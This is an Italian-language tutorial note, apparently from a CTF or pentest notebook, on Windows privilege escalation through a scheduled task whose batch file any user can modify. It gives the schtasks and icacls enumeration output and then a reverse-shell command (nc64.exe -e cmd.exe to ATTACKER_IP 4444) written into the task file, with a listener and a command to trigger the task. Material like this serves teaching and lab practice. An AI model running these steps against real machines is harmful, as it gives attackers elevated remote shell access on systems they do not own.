tags: Scheduled_task windows priv_esc schtasks


Le scheduled task sono delle operazioni fatte da dei programmi in determinati momenti della giornata come i cron jobs per Linux. Per trovare questi tipi di programmi si può utilizzare il comando schtask che ci fornisce una lista di tutte le task attive con relative informazioni utili:

C:\>schtasks /query /tn vulntask /fo list /v
schtasks /query /tn vulntask /fo list /v
 
Folder: \
HostName:                             WPRIVESC1
TaskName:                             \vulntask
Next Run Time:                        N/A
Status:                               Running
Logon Mode:                           Interactive/Background
Last Run Time:                        10/4/2024 8:56:47 AM
Last Result:                          267009
Author:                               WPRIVESC1\Administrator
Task To Run:                          C:\tasks\schtask.bat 
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          taskusr1
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        At system start up
Start Time:                           N/A
Start Date:                           N/A
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        N/A
Repeat: Until: Time:                  N/A
Repeat: Until: Duration:              N/A
Repeat: Stop If Still Running:        N/A

Le informazioni che interessano a noi sono “Task To Run” e “Run as User” che ci dicono rispettivamente dove si trova il file con il programma e se c’è qualche utente che lo esegue.

Per vedere se possiamo modificare il file possiamo usare il seguente comando:

C:\>icacls c:\tasks\schtask.bat
icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat BUILTIN\Users:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Administrators:(I)(F)
 
Successfully processed 1 files; Failed processing 0 files

Da questo output vediamo che il gruppo utente ha il permesso di modificarlo e lo possiamo modificare con la seguente reverse_shell:

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

In questo caso era presente Netcat e abbiamo potuto eseguire una reverse shell mettendoci in ascolto con il comando nc -lvnp 4444.

In una situazione reale per eseguire la shell avremmo bisogno di aspettare l’orario di esecuzione del programma, ma per caso avessimo la possibilità di riavviarlo come succede spesso nelle CTF potremmo usare il seguente comando ed evitare di aspettare:

C:\> schtasks /run /tn Nome_Task  #in questo caso vulntask